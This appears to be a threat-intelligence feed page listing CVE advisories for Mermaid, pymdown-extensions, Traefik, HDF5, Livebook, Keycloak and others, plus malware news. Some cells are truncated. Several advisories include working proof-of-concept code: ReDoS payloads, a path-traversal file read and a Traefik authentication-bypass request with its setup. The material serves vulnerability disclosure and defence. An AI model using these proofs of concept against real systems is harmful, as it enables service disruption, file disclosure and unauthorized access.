Search: group.with
1,268 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 6.5 | EPSS 0.5% | CVE-2026-71437mermaid · Prototype Pollution Medium6.5EPSS 0.5%CVE Database V5CVE-2026-71437 Mermaid is a JavaScript tool that uses Markdown-inspired text to create and modify diagrams and charts. From version 11.5.0 until 11.16.1, Mermaid Architecture Diagrams are vulnerable to prototype pollution when a diagram defines a group with an id of __proto__. Because the group id is used directly as an object property key without validation, an attacker who can supply diagram text can pollute Object.prototype, potentially affecting the behavior of the embedding application. This issue is fixed in version 11.16.1. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.7% | CVE-2026-67422facelessuser pymdown-extensions · ReDoS High7.5EPSS 0.7%CVE Database V5CVE-2026-67422 ### Summary Four inline processors in pymdown-extensions contain regular expressions with exponential backtracking. A single untrusted Markdown line under 50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread (seconds at ~45 bytes, growing exponentially with each added character). All four fire in the extension's **default configuration** and are reachable through the documented public API. The `caret`/`tilde`/ `betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547 (first released in **10.13**, Dec 2024) — earlier releases used a linear `(.+?)` / `([^\s]+?)` content group — and is present through **11.0** (latest); `magiclink`'s host pattern is long-standing and affects effectively all releases. Likely **CWE-1333 (Inefficient Regular Expression Complexity)**. This is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`, `RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a different root cause (delimiter-run partition ambiguity rather than a `.`/`\.` typo). ### Details Four regexes share, or closely mirror, a vulnerable shape — an inner group that can partition a run of the delimiter character into `{2,}`-sized pieces in exponentially many ways, wrapped in a lazy `+?` that must fail before the engine can give up: | Extension | Regex | Location (`11.0`) | |---|---|---| | `pymdownx.caret` (superscript `^…^`) | `SUP2` | `pymdownx/caret.py:56` | | `pymdownx.tilde` (subscript `~…~`) | `SUB2` | `pymdownx/tilde.py:55` | | `pymdownx.betterem` (underscore `_…_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` | | `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) | `pymdownx/caret.py:56` (`pymdown-extensions 11.0`): ```python SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)' ``` The content group `(?:[^\^\s]|\^{2,})+?` matches a run of carets only via the `\^{2,}` branch. A run of *k* carets can be split into ≥2-length pieces in exponentially many combinations; when no caret can serve as a valid closing delimiter (the trailing `(?<![\^\s])(\^)` cannot be satisfied), the engine explores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2` (betterem) are the same construct for `~` and `_`. In `betterem` the default `smart_enable='underscore'` routes underscores to `SmartUnderscoreProcessor` → `SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable, API-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when `smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce through the public `markdown.markdown()` pipeline on the tested payload, so a fix and regression test should target `SMART_UNDER_EM2`. `pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where overlapping character classes let a run of dots be grouped exponentially: ```python (?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)* # host: '\.' and '[-\w.]' inside (?:...)* both match '.' ``` `SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the default `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is applied by `MagiclinkPattern` (registered unconditionally at priority 85). In all four cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted `src` in default configuration is sufficient to reach the regex. ### PoC Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates). ```python import signal import time from importlib.metadata import version import markdown print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}") CAP = 5.0 # a single render exceeding this is treated as a hang class Timeout(Exception): pass def render(ext, text): signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout())) signal.setitimer(signal.ITIMER_REAL, CAP) t = time.perf_counter() try: markdown.markdown(text, extensions=[ext]) return time.perf_counter() - t except Timeout: return None finally: signal.setitimer(signal.ITIMER_REAL, 0) # ext -> (malicious builder, benign builder [valid & closed], ramp, hang count) CASES = { "pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44), "pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44), "pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44), "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40), } repro = [] for ext, (evil, benign, ramp, hang) in CASES. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-61632facelessuser pymdown-extensions · Path Traversal Medium5.3EPSS 0.4%CVE Database V5CVE-2026-61632 ### Summary The `b64` extension inlines images referenced by `<img src="...">` as base64 data URIs. When resolving the `src` path it joins it onto the configured `base_path` with `os.path.normpath` and opens the result directly, with no check that the resolved path stays inside `base_path`. A `src` containing `../` sequences, or an absolute path, therefore reads a file outside `base_path` as long as that file has an allowed image extension (`.png`, `.jpg`, `.jpeg`, `.gif`, `.svg`). The base64 of that file is then embedded in the rendered output, disclosing its contents. This is a separate code path from the `snippets` traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in `pymdownx/b64.py` and has no path restriction of any kind. Confirmed on `10.21.3` installed from PyPI. ### Details In `pymdownx/b64.py`, function `repl_path` (around lines 68 to 90 on `main`): ```python if is_absolute: file_name = os.path.normpath(path) # absolute src: base_path ignored entirely else: file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path if os.path.exists(file_name): ext = os.path.splitext(file_name)[1].lower() for b64_ext in file_types: if ext in b64_ext: with open(file_name, "rb") as f: # opened with no containment check ... ``` There is no `startswith(base_path)`, no `os.path.realpath` comparison, and no rejection of `..`. Both branches are reachable from an attacker-controlled `src`. ### PoC Reproduced against an unmodified `pymdown-extensions==10.21.3` from PyPI. The script creates a `base_path` directory and a PNG one level above it, then renders Markdown whose image `src` points outside `base_path`, and confirms the outside file's bytes appear base64-encoded in the output. ```python import base64, os, shutil, tempfile, markdown root = tempfile.mkdtemp() base_path = os.path.join(root, "docs"); os.makedirs(base_path) outside = os.path.join(root, "secret"); os.makedirs(outside) png = base64.b64decode( "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk" "+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==" ) with open(os.path.join(outside, "secret.png"), "wb") as f: f.write(png) md = markdown.Markdown( extensions=["pymdownx.b64"], extension_configs={"pymdownx.b64": {"base_path": base_path}}, ) html = md.convert('<img src="../secret/secret.png">') assert base64.b64encode(png).decode() in html, "not leaked" print("LEAKED:", html) ``` Output: ``` LEAKED: <p><img src="..."></p> ``` The base64 of a file outside `base_path` is present in the output. The absolute-path branch behaves the same way: an absolute `src` bypasses `base_path` entirely via `os.path.normpath(path)`. Both were confirmed leaking. ### Impact An application that renders untrusted Markdown with `pymdownx.b64` enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed. ### Suggested fix Resolve the real path and require it to stay within `base_path` before opening: ```python file_name = os.path.realpath(os.path.join(base_path, path)) base_real = os.path.realpath(base_path) if file_name != base_real and not file_name.startswith(base_real + os.sep): return m.group(0) # leave the tag untouched; do not read outside base_path ``` The same containment check should apply to the absolute-path branch rather than trusting an absolute `src`. Using `realpath` instead of `abspath` also closes the related symlink-following gap in the snippets handler. | CVE Database V5 | ||
| Medium | 4.3 | Medium4.3GCVE Database A missing authorization check in Craft CMS allows any authenticated control panel user with only the base access permission to retrieve aggregate user registration metrics. The endpoint /actions/charts/get-new-users-data does not enforce the expected 'viewUsers' permission, exposing time-series counts of new user registrations by group and date. No personally identifiable information is disclosed, and the impact is limited to revealing user group sizes and registration trends. | GCVE Database | |||
| –Not rated | – | Bleeping Computer A recent wave of cyberattacks targeting hedge funds, private-equity firms, and other financial organizations has been linked to UNC6671, an extortion group reportedly associated with the BlackFile threat actors. [...] | Bleeping Computer | |||
| –Not rated | – | AlienVault OTX General A sophisticated macOS malware campaign leverages ClickFix social engineering to infect victims. The attack begins with a fake CAPTCHA prompt delivered via email links, tricking users into executing malicious commands in Terminal. This downloads a profiling script that collects system information and deploys architecture-specific Go-based Mach-O payloads. The stealer targets browser passwords, Apple Keychain credentials, and cryptocurrency wallets. Its most notable feature is a DRAIN function that gradually siphons cryptocurrency from victims' wallets by redirecting portions to attacker-controlled accounts. The malware supports Bitcoin, Litecoin, Dogecoin, Monero, Ethereum, and XRP. Infrastructure analysis reveals hosting through Aeza Group, a sanctioned Russian bulletproof hosting provider. The malware achieves persistence through macOS Background Task Management and uses various evasion techniques including Gatekeeper bypass and credential harvesting via fake system prompts. | AlienVault OTX General | |||
| Critical | 9.1 | EPSS 1.0% | Critical9.1EPSS 1.0%GCVE DatabaseCVE-2026-65600 ## Summary There is a critical authentication-bypass vulnerability in Traefik's `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: "^/api(.*)"`, `replacement: "/$1"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.52 - https://github.com/traefik/traefik/releases/tag/v3.6.23 - https://github.com/traefik/traefik/releases/tag/v3.7.7 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex. ### Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: "^/api(.*)"`, `replacement: "/$1"`), an attacker can inject implicit traversal sequences into the capture group. **Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix. **Attack flow:** 1. Attacker sends `GET /api../admin` 2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment) 3. Router matches `PathPrefix(/api)` → selects the public router (no auth middleware) 4. ReplacePathRegex applies `^/api(.*)` → captures `../admin` → replacement produces `/../admin` 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin` 7. Attacker receives protected content without authentication **Suggested fix:** Add the same JoinPath equality check after line 67: ```go if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path { http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return } ``` ### PoC **Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl **1. Create `docker-compose.yml`:** ```yaml services: traefik: image: traefik:v3.7.6 command: - "--api.insecure=true" - "--providers.file.filename=/etc/traefik/dynamic.yml" - "--entrypoints.web.address=:80" ports: - "8080:8080" - "80:80" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro healthcheck: test: ["CMD", "traefik", "healthcheck"] interval: 5s timeout: 3s retries: 5 backend: image: node:22-alpine working_dir: /app volumes: - ./server.js:/app/server.js:ro command: ["node", "server.js"] healthcheck: test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"] interval: 5s timeout: 3s retries: 5 ``` **2. Create `dynamic.yml`:** ```yaml http: routers: public-api: rule: "PathPrefix(`/api`)" entryPoints: [web] middlewares: [rewrite-api] service: backend-svc priority: 1 protected-admin: rule: "PathPrefix(`/admin`)" entryPoints: [web] middlewares: [auth] service: backend-svc priority: 2 middlewares: rewrite-api: replacePathRegex: regex: "^/api(.*)" replacement: "/$1" auth: basicAuth: users: - "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/" services: backend-svc: loadBalancer: servers: - url: "http://backend:3000" ``` **3. Create `server.js`:** ```javascript const http = require('http'); const path = require('path'); const server = http.createServer((req, res) => { const normalized = path.posix.normalize(req.url.split('?')[0]); res.setHeader('Content-Type', 'text/plain'); if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); } else if (normalized === '/admin' || n | GCVE Database | ||
| Low | 2.1 | EPSS 0.3% | Low2.1EPSS 0.3%GCVE DatabaseCVE-2026-71326 ## Summary There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username — whose secret is empty — can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential **and** to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's BasicAuth middleware deduplicates concurrent password checks with a `singleflight.Group`. Its key is the delimiter-free concatenation `password + secret`. For an existing user with password `P` and stored hash `H`, the key is `P || H`. An unknown user can select the password `P || H`; because its secret is the empty string, its key is also `P || H`. If the existing user's request starts the shared calculation, the unknown user receives the existing user's successful Boolean result. Traefik then continues processing the unknown user's original request and propagates the attacker-selected username through `URL.User`, the access log, and the configured BasicAuth `headerField`. A user who knows one valid username/password/hash tuple can therefore authenticate concurrently under any unconfigured username. This becomes a privilege escalation when a backend uses the BasicAuth `headerField` as a trusted identity, which is the documented purpose of that option. ## Details The vulnerable logic is in `pkg/middlewares/auth/basic_auth.go:118-131`: ```go func (b *basicAuth) checkPassword(user, password string) bool { secret := b.auth.Secrets(user, b.auth.Realm) key := password + secret match, _, _ := b.singleflightGroup.Do(key, func() (any, error) { if secret == "" { _ = b.checkSecret(password, b.notFoundSecret) return false, nil } return b.checkSecret(password, secret), nil }) return match.(bool) } ``` For a configured user `viewer`: ```text password = P secret = H key = P || H result = true ``` For an unconfigured user `admin`: ```text password = P || H secret = "" key = (P || H) || "" = P || H ``` `singleflight.Group.Do` shares the first in-flight result for equal keys. If the configured user's check is first, the unknown user's closure is not run and the unknown request receives `true`. The authorization result is not bound to the username. After the shared result is accepted, `ServeHTTP` uses the username parsed from the unknown request: ```go req.URL.User = url.User(user) if b.headerField != "" { req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} } ``` Consequently, the backend sees the attacker-selected `admin` identity, not the valid request's `viewer` identity. ### Attack prerequisites The attacker needs: 1. network access to a route protected by the affected BasicAuth middleware; 2. one valid low-privilege username and password; 3. the corresponding stored password hash. The hash is often present in deployment labels or routing configuration. Traefik's API is also a direct source when the attacker can access it: `GET /api/http/middlewares/{id}` serializes `basicAuth.users`, including the hash, despite the field carrying `loggable:"false"`. The official v3.7.8 binary returned the hash in the validation environment. The attacker does not need another user's password or a victim-generated request. The attacker creates both concurrent requests: one with their valid credentials and one with an arbitrary, unconfigured target username. ### Security impact When `headerField` is configured, an authenticated low-privilege user can impersonate an arbitrary identity to the backend. Depending on downstream authorization, this can allow: - access to administrative data; - execution of privileged state-changing operations; - corruption of audit attribution; - bypass of identity-based tenant or role separation. Without `headerField`, the unknown request is still admitted through the BasicAuth middleware. The practical consequence then depends on whether the protected route treats | GCVE Database | ||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-16290ProfileGrid (WordPress plugin) · Missing Authorization Medium5.3EPSS 0.4%CVE Database V5CVE-2026-16290 ProfileGrid WordPress plugin versions before 6.0.0.0 have a missing authorization vulnerability that allows unauthenticated users to access the member lists of any group, including private or closed groups. This bypasses the intended member-visibility settings and exposes member identifiers to anyone without authentication. | CVE Database V5 | ||
| Medium | 6.8 | EPSS 0.2% | CVE-2026-19028The HDF Group HDF5 · Integer Overflow or Wraparound Medium6.8EPSS 0.2%CVE Database V5CVE-2026-19028 H5Z__filter_fletcher32 in H5Zfletcher32.c in HDF5 prior to 2.3.0 computes the data length to checksum by subtracting the 4-byte trailing checksum size from the input buffer size without checking that the buffer is at least 4 bytes, allowing a size_t underflow. This allows attackers to cause a denial of service (massively out-of-bounds read and application crash in H5_checksum_fletcher32) via a crafted HDF5 file with a Fletcher32-filtered chunk smaller than 4 bytes, triggered via H5Dread, e.g. by the h5ls or h5dump tools. | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.2% | CVE-2026-19027The HDF Group HDF5 · Out-of-bounds Read Medium6.9EPSS 0.2%CVE Database V5CVE-2026-19027 The H5Z__nbit_decompress_one_byte, H5Z__nbit_decompress_one_nooptype, and H5Z__nbit_decompress_one_atomic functions in H5Znbit.c in HDF5 prior to 2.3.0 advance a read index into the compressed chunk buffer without bounding it against the buffer's actual size. This allows attackers to cause an out-of-bounds heap read, and in constrained cases disclosure of adjacent heap memory into decompressed dataset values, via a crafted HDF5 file whose N-Bit filter parameters describe more decompressed data than the stored compressed chunk actually contains, triggered via H5Dread, e.g. by the h5ls or h5repack tools. | CVE Database V5 | ||
| Medium | 6.8 | EPSS 0.2% | CVE-2026-19026The HDF Group HDF5 · NULL Pointer Dereference Medium6.8EPSS 0.2%CVE Database V5CVE-2026-19026 H5Z__filter_nbit in H5Znbit.c in HDF5 prior to 2.3.0 dereferences cd_values[0] through cd_values[4] without validating that cd_values is non-NULL or that cd_nelmts is at least 5, the fixed size of the filter's header. This allows attackers to cause a denial of service via a crafted HDF5 file that stores the N-Bit filter pipeline message with zero client-data values, opened and read via H5Dread, e.g. by the h5ls or h5repack tools. | CVE Database V5 | ||
| High | 8.2 | EPSS 0.2% | CVE-2026-19024The HDF Group HDF5 · NULL Pointer Dereference High8.2EPSS 0.2%CVE Database V5CVE-2026-19024 A NULL pointer dereference vulnerability exists in HDF5 before version 2.1.1 in the H5Pget_fill_value function. This flaw allows denial of service when processing a dataset with a version 1 or 2 fill value message that has the "defined" flag set and a negative size field, leading to a NULL datatype dereference. | CVE Database V5 | ||
| Medium | 6.8 | EPSS 0.2% | CVE-2026-19023The HDF Group HDF5 · Untrusted Pointer Dereference Medium6.8EPSS 0.2%CVE Database V5CVE-2026-19023 CVE-2026-19023 is a medium severity vulnerability in The HDF Group's HDF5 software, affecting versions before 2.1.1. It involves an untrusted pointer dereference in the h5dump tool's render_bin_output function. This flaw can cause a denial of service when processing variable-length string datasets with multiple elements in binary dump mode, due to corrupted stride calculations leading to misaligned pointer dereferences. | CVE Database V5 | ||
| Medium | 5.0 | EPSS 2.5% | CVE-2026-66297livebook · OS Command Injection Medium5.0EPSS 2.5%CVE Database V5CVE-2026-66297 Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) vulnerability in livebook-dev livebook allows command injection into generated deployment setup commands. LivebookWeb.Hub.Teams.DeploymentGroupAgentComponent.docker_instructions/2 and LivebookWeb.Hub.Teams.DeploymentGroupAgentComponent.fly_instructions/4 in lib/livebook_web/live/hub/teams/deployment_group_agent_component.ex interpolate deployment group environment variable values into the generated Docker and Fly.io setup commands without shell escaping. The values originate from the deployment group configuration and reach the sinks through Livebook.Hubs.Dockerfile.online_docker_info/3. Both sinks place the value inside a double-quoted shell word, so a value containing a command substitution such as $(...) or backticks is evaluated by the shell without any need to break out of the quoting, and a literal double quote terminates the quoted word and allows arbitrary further tokens. The generated command is displayed in the Livebook web interface with a copy button, so a user who copies it and runs it without reviewing it first executes the injected commands on their own machine, under their own account. An attacker requires privileges sufficient to set deployment group environment variables, while the resulting code execution occurs on the machine of whoever runs the generated command. The Kubernetes instructions are not affected, because they render the same values into a YAML manifest with escaping rather than into a shell command. This issue affects livebook: from 0.13.0 before 0.18.7 and from 0.19.0 before 0.19.9. | CVE Database V5 | ||
| High | 7.7 | EPSS 1.0% | CVE-2026-68746livebook · Failing Open High7.7EPSS 1.0%CVE Database V5CVE-2026-68746 Not Failing Securely ('Failing Open') vulnerability in livebook-dev livebook allows an unauthenticated network client to obtain full access to a Livebook server that enforces identity through Livebook Teams. A Livebook Agent or App Server connected to Livebook Teams caches the identifier of the deployment group it belongs to, and resolves that identifier against a locally cached list of deployment groups on every request in order to decide whether Teams identity enforcement is active. Livebook.Hubs.TeamClient.handle_call/3 in lib/livebook/hubs/team_client.ex does not distinguish a deployment group that could not be resolved from one that was resolved with identity enforcement switched off: the clause matches only the case where a group was found with enforcement enabled, and falls through to a catch-all that reports enforcement as switched off for everything else. The two neighbouring functions that decide user and application access resolve the same identifier and treat the same unresolved result as a denial. When the identity status is reported as switched off, Livebook.ZTA.LivebookTeams.authenticate/3 in lib/livebook/zta/livebook_teams.ex returns empty identity metadata and allows the request to continue instead of halting it. LivebookWeb.UserPlug.build_current_user/3 merges that empty metadata into a newly built user, whose access type defaults to full access, and LivebookWeb.AuthPlug.authorized?/1 grants access to any user holding full access. The cached identifier becomes unresolvable when the deployment group it refers to is deleted while the agent is not connected to receive the change, most concretely when a deployment group is deleted during the window in which an agent is disconnected or reconnecting. The client removes the group from its cached list without clearing the identifier that refers to it. Any client able to reach the affected server over the network is then granted the same access as a fully privileged member of the organisation, including the ability to read notebooks and configured secrets, execute code on the server's runtime, and disrupt its operation. This issue affects livebook: from 0.19.7 before 0.19.9. | CVE Database V5 | ||
| High | 8.1 | EPSS 0.4% | CVE-2026-70429Jenkins · CWE-178 High8.1EPSS 0.4%CVE Database V5CVE-2026-70429 Jenkins versions 2.575 and earlier, including LTS 2.568.1 and earlier, have an inconsistent handling of case-insensitivity in user and group names. This flaw allows attackers who can create new users or groups with names that case-insensitively match existing ones to impersonate those users or gain their permissions under certain conditions. The vulnerability is identified as CWE-178 and has a high severity with a CVSS score of 8.1. | CVE Database V5 | ||
| Medium | 4.2 | EPSS 0.3% | Medium4.2EPSS 0.3%GCVE DatabaseCVE-2026-9689 Red Hat build of Keycloak is an integrated sign-on solution, available as a Red Hat JBoss Middleware for OpenShift containerized image. The Red Hat build of Keycloak for OpenShift image provides an authentication server that you can use to log in centrally, log out, and register. You can also manage user accounts for web applications, mobile applications, and RESTful web services. Red Hat build of Keycloak Operator for OpenShift simplifies deployment and management of Keycloak 26.6.5 clusters. This erratum releases new images for Red Hat build of Keycloak 26.6.5 for use within the OpenShift Container Platform cloud computing Platform-as-a-Service (PaaS) for on-premise or private cloud deployments, aligning with the standalone product release. Security fixes: * Authorization Bypass vulnerability in the admin-ui-ext bulk role-mapping-delete endpoints of Keycloak (CVE-2026-11986) * Admin UI extension brute-force-user endpoint bypasses FGAPv2 user view restrictions (CVE-2026-14209) * FGAP v2 client scope assignment bypass via ClientResource (CVE-2026-14614) * FGAP v2 parent group children endpoint bypasses per-child view permission filter (CVE-2026-14615) * DCR protocol mapper type-swap policy bypass allows privilege escalation (CVE-2026-15572) * Authorization bypass via unnormalized URI matching in PathMatcher (CVE-2026-15573) * LDAP entry-DN user search bypasses configured users DN boundary (CVE-2026-16071) * Unbounded metric cardinality in user event metrics via request-controlled error text (CVE-2026-16100) * Default DCR policy allows role forgery via User Property mappers (CVE-2026-16102) * Quarkus REST - Unbounded multipart MIME part-header accumulation allows remote OOM denial of service (CVE-2026-16308) * SAML IdP-initiated broker login bypasses link-only restriction (CVE-2026-16442) * SAML broker metadata import disables response signature validation (CVE-2026-16443) * Denial of Service via specially crafted gRPC requests (CVE-2026-40983) * Denial of Service via specially crafted HTTP requests (CVE-2026-40984) * Arbitrary code execution via PolymorphicTypeValidator bypass (CVE-2026-54512) * Security bypass allows arbitrary code execution (CVE-2026-54513) * HTTP Parameter Pollution in OIDC redirect URI allows response parameter duplication - #GHI-604 (CVE-2026-9689) * Security policy bypass in JWE-encrypted request object processing (CVE-2026-9793) * Brute-force protection bypass in CIBA flow (CVE-2026-9798) | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database The npm package dolyame-ui-group version 35.9.7 contains malicious code that executes arbitrary binaries on the host system during package load. It downloads executables from obfuscated and anonymous worker.dev domains, writes them to temporary files with misleading names, sets executable permissions, and runs them detached via shell commands. The package also includes a secondary dropper module disguised as an analytics SDK that performs similar actions. Sensitive API calls are obfuscated to evade detection. This behavior results in arbitrary code execution on any system installing this package version. | GCVE Database | |||
| High | – | HighTenable Research Discover how Tenable Hexa AI closes the gap between exposure management and endpoint patching using intent-driven routines, smart guardrails, and human approval. Key takeaways The problem: A slow handoff between security workflows creates a days-long remediation gap. The solution: Tenable Hexa AI bridges this gap using intent-driven Routines that automate scoping, deployment, and verification across integrated platforms like Jamf. Safety and control: Autonomy is governed by the harness built into Tenable One, ensuring the AI operates strictly within defined user permissions and guardrails. Find the exposure. Fix it. Confirm it is gone. Those three steps are rarely executed in a single place, by a single team. Exposure management knows which assets are at risk, while endpoint management actually changes the machine and applies the fix. Between those two domains of exposure identification and remediation lies a slow, manual handoff and multi-step routine that costs security teams days or weeks while vulnerabilities remain exposed: Scope the asset group Aim the remediation policy Execute patch deployment Check status Re-scan the environment to confirm the finding was closed. Tenable Hexa AI , the agentic engine of the Tenable One Exposure Management Platform , now spans that handoff, so you don’t have to manually toggle among tools or continually restart the conversation. How does Tenable Hexa AI autonomously close the remediation loop Say there’s an actively exploited Chrome vulnerability, and a fleet of your Macs is still running the vulnerable version. Rather than navigating multiple tools, you simply tell Tenable Hexa AI to patch it. Tenable Hexa AI executes the workflow in three unified stages: Enumeration and mapping - Tenable Hexa AI enumerates the affected assets across your exposure sources and resolves them to the devices your endpoint team already manages in Jamf. Policy identification - Tenable Hexa AI maps the CVE to the version that fixes it, then finds the Jamf patch definition that delivers that version. Proposal presentation - Before writing any changes, Tenable Hexa AI stops and shows you a proposal detailing the number of devices, which devices, what policy, and what the deployment window looks like. It highlights the blast radius and it tells you plainly that the action does not roll itself back. If you need to narrow enumeration to one business unit, just tell Hexa and it will re-scope and return a new plan before executing any changes. Once you approve, Tenable Hexa AI creates a static group in Jamf holding exactly the devices you approved, then triggers the policy against it. Ask Hexa for status at any point, and it returns the rollout device by device, without you leaving the chat window. Tenable Hexa AI then schedules a re-scan for after the patch deployment window. What previously took days across multiple tools now takes minutes within a single conversation, and all you need to do is make one decision rather than coordinate the manual execution of multiple, complex steps. Hand off recurring security work to intent-driven routines The ultimate goal of agentic AI for security is to help security teams efficiently and effectively scale cyber defense by taking on complex manual routines. To carry out vulnerability remediation and validation routines with Tenable Hexa AI, you define three core elements in plain, natural language: An objective - State what you are trying to achieve, in the words you would use with a colleague, not a sequence of steps (e.g., “Triage and patch critical vulnerabilities across MacOS endpoints”). Guardrails - Set explicit operational limits (e.g., “Never launch a credentialed scan against anything tagged OT,” or “Open no more than twenty-five tickets in a run”). A cadence - Choose whether to run the routine on demand or tell Hexa to run it on a specific schedule. Tenable Hexa AI drafts the plan using capabilities discovered from the tools you have already connected to Tenable One.… | Tenable Research |
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